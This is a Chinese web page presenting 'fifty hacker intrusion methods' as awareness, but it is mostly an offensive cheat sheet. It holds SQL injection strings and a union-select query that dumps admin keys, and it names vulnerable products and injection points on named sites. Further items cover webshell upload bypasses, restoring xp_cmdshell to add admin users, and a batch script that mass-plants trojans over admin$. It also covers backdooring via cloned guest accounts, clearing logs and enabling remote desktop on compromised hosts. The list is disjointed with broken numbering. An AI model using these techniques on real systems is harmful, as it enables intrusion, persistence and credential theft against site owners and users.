现在网上的攻击事件越来越多，黑客都是通过什么方法来攻击我们的呢？下面我们给大家总结了黑客入侵网络的五十种方法，让大家做到有备无患。
1.网宽网络有限公司制作的网站基本都有注入漏洞搜索网宽网络
2.搜索栏里输入
关键字%'and 1=1 and '%'='
关键字%'and 1=2 and '%'='
比较不同处可以作为注入的特征字符
3.登陆框用户名和密码输入'or'='or' 漏洞很老但是现在很是遍地都是
4.我们先到le底下搜索一下co net mib ver 1.0
密码帐号都是 'or'='or'
5.挂马代码
6.www.wyyfk/24小时挂qq工具
7.开启regedt32的sam的管理员权限检查hkey_local_machine\sam\sam\和hkey_local_machine\sam\sam\下的管理员和guest的f键值，如果一样就是用被入侵过了，然后删了guest帐号，对方可以用guest帐号使用administraeors的权限，你也可以用这方法留住肉鸡，这方法是简单克隆,
net localgroup administrators还是可以看出guest是管理员来
7.只要敢想，新浪也可入侵注入点
igame.sina/plaza/event/new/crnt_event_view.asp?event_id=59
微软注入点
www.microsoft/library/toolbar/3.0/search.aspx?view=en-us&charset=iso-8859-1&qu=
8.ms05016攻击工具用法 test.hta 文件名.后缀名可以绑上qq大盗木马
9.有sa权限sqlserver数据库、并且能sql注入支持fso+asp的服务器
sql注入后，如何上传木马,
文章地址 hack123.home4u.china/0601.htm
10.qq强制聊天代码
wpa.qq/msgrd?v=1&uin=对方的qq号&site=ioshenmue&menu=yes
使用方法：把代码中的红的“********”星号换成你想与其聊天的qq号后复制到浏览器的地址栏处即可。无论他是否你的好友，你无须加他为好友就能给他发qq消息。
11. mybbs论坛cookie欺骗后台备份马
12.软件 把.exe文件做成系统服务来启动用来肉鸡挂qq等
用法: 安装： 服务名称路径
卸载： 服务名称 remove
13.以动网为例数据库查dv_log，在上面的查询的字段名里选l_content后面的关键字填上password2，到的username2=%b7%e7%a4%ce%b0%d7%d2%c2&password2=01180017&username1=%b7%e7%a4%ce%b0% d7%d2%c2&submit=%cc%ed+%bc%d3 password2=01180017就是他的登陆密码
14.搜索的技巧 inurl：网址
15.启航工作室wms 5.0网站程序漏洞
在baidu 搜索powered by: sailingstudio website manage system 5.0 (sp1)
利用动画看soft.77169/62/20050530/6824.html
16.很多网站程序(比如华硕中文)上传图片时有可能在检测文件的时候是从左朝又进行检测，也就是说，他会检测文件是不是有.jpg，那么我们要是把文件改成：ating.jpg.asp试试。。由于还是asp结尾，所以木马不会变~
17.天意商务系统网上依然有有漏洞网站具体的样式/
工具下载www.hack6
地址栏里，填上天意商务系统的网址就可以了，注意一定要是主页面
18.sql注入时工具---internet选项---高级里到显示友好的错误信息勾去掉
不能注入时要第一时间想到%5c暴库
19.这个dbinbd.asp文件插入后门的功能适用于文件名为.asp的所有access数据库不是动网论坛也一样可以使用的，后门隐蔽，几乎发现不了
工具使用方法动画和所有文件
www.anquanwu/bbs/printpage.asp?boardid=2&id=811
20.缺少xp_cmdshell时
尝试恢复exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
假如恢复不成功，可以尝试直接加用户(针对开3389的)
6IQb*QdQ;m0
declare @o int
exec sp_oacreate 'wscrīpt.shell',@o out
exec sp_oamethod @o,'run',null,' /c net user ating ating /add' 再提到管理员
21.批量种植木马.bat
for /f %%i in (扫描地址.txt) do %%i\admin$ 复制木马到扫描的计算机当中
qq用户名for /f %%i in (扫描地址.txt) do at %%i 09: 在对方计算机上运行木马的时间
扫描地址.txt里每个主机名一行用\\开头
22.搜索 powered by discuz!4.0.0rc3 开放头像的可利用工具地址www.hack6
23.dv7.1用还原数据功能还原asa木马
24.凡人网络购物系统v6.0 可以%5c暴库
25.ipb2.0.2漏洞构造语句
$qpid=1) and 1=2 union select 1,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1 from ibf_members where id=1 /* 暴管理员密码想看动画到黑基里ipb<= 2.0.3论坛注入工具
www.hack6有下载
26. 将工具传到邮箱在下载上右击复制快捷方式拥有自己了的下载空间
27.北京冲qb要宽带号跟绑定宽带的后4位电话，当你扫出北京款待号的密码必须是8位的密码，而且开头是6或8的才可以，因为北京的电话都是6根8开头的而且都是8位的，北京的区名海淀东城西城门头沟丰台潮阳宣武通州昌平，去cnc.qq/bbn/冲
28.搜索企业网络办公系统添'or''=' 登陆在个人邮箱上传asp木马
29.本人原创搜索"一点点星空驿站留言本" 默认数据库是gbmdb.mdb 很多网站用这个留言本但是用搜索引擎搜不到可以给大家在入寝时多个思路
30.在程序上传shell过程中，程序不允许包含标记符号的内容的文件上传，比如蓝屏最小的asp木马，我们来把他的标签换一下：保存为.asp，程序照样执行.
31.目录权限设置变态的话可以用一些方法(比如serv-u溢出)将此web用户提权可访问全站目录挂马
32.喜欢网页挂马的看看这篇总结文章吧
77169/news/hk/2005060611656.html
33.搜索"images/admin" 或".tw/images/admin" 可以到些台湾的数据库
34.iis6 for windows 2003 enterprise edition 如iis发布目录文件夹包含.asp后辍名.
将.asp后辍改为.jpg或其它的如.htm，也可以运行asp，但要在.asp文件夹下.
.cer 等后缀的文件夹下都可以运行任何后缀的asp木马
然后用#clear logg和#clear line vty *删除日志
36.搜索关键字:"copyright 2003-2004 动易网络" 后面地址改成upfile_soft.asp 这样的漏洞很多
37.bbsxp的漏洞总结 powered by bbsxp 5.15/licence blog.asp中的对id 的过滤不严的漏洞拿到管理员的前后台密码工具：bbsxp完全版 cookies 欺骗 bbsxp 过滤了 asp 文件的上传所以我们这里用 asa 来传马
38.学会总结入侵思路www.77169/news/hk/2005060811688.html
39.电脑坏了省去重新安装系统的方法
纯dos下执行，
xp:copy c:\windows\repair\*.* 到 c:\windows\system32\config
2k: copy c:\winnt\repair\*.* 到 c:\winnt\system32\config
40.一般人设置啊拉qq大盗的时候发信和收信都是同一个信箱，因此当我的机子中了此木马后没有立即杀掉进程，而是用内存编辑工具打开它的进程，查smtp字样，就会到它的信箱和密码了。只对1.5以前的管用.
41.内网控制内网用vidc 还要有一只肉鸡动画看黑基的
soft.77169/62/20050608/6878.html
42.有许多管理员用备份的日期做备份数据库的名字
比如www.hack6/bbs/databackup/20050601.mdb
43.动网数据库oldusername=%b5%f0%b7%c0&username2=%b5%f0%b7%c0&password2=19841202&adduser=%b5%f 0%b7%c0&id=12&submit=%b8%fc+%d0%c2
不知道用户名(不是%b8%f0%b7%c0) 转化这个用他本身的页面
www.hack6/bbs/showerr.asp?boardid=0&errcodes=10,11&action=%cc%ee%d0%b 4%b5%c7%c2%bc%d0%c5%cf%a2
%cc%ee%d0%b4%b5%c7%c2%bc%d0%c5%cf%a2这句话意思是“填写登录信息”
那么就把%cc%ee%d0%b4%b5%c7%c2%bc%d0%c5%cf%a2换成%b5%f0%b7%c0 可以看到用户名
44.对付信息监控系统木马必须是加密的如net user用不了就用net1 user等等我是大连的大连这边主机用这方法好用可以直接传加密的马用用黑基tyrant的方法上传一个cmd的aspshall 用nc连接自己的nc监听端口在web目录下写个加ftp用户的txt 本地43958用nc提交 ftp到服务器加用户
45.解决tcp/ip筛选在注册表里有三处，分别是：
hkey_local_machine\system\controlset001\services\tcpip
hkey_local_machine\system\controlset002\services\tcpip
hkey_local_machine\system\currentcontrolset\services\tcpip
分别用
regedit -e d:\a.reg hkey_local_machine\system\currentcontrolset\services\tcpip
regedit -e d:\b.reg hkey_local_machine\system\controlset002\services\tcpip
regedit -e d:\c.reg hkey_local_machine\system\currentcontrolset\services\tcpip
命令来导出注册表项
然后把三个文件里的enablesecurityfilters"=dword:00000001，
改成enablesecurityfilters"=dword:00000000 再将以上三个文件分别用
regedit -s d:\a.reg regedit -s d:\b.reg regedit -s d:\c.reg 导入注册表即可
46.使chm木马无法在本地运行木马程序将注册表"hkey_current_u
ser\software\microsoft\windows\currentversion\internet settings\zones\0"下的1004项的值由原来十进制的0改为十六进制的3。
47.开3389的5种方法
(1)打开记事本，编辑内容如下：
echo [components] > c:\sql
echo tsenable = on >> c:\sql
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
编辑好后存为bat文件，上传至肉鸡，执行。
版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。
发表评论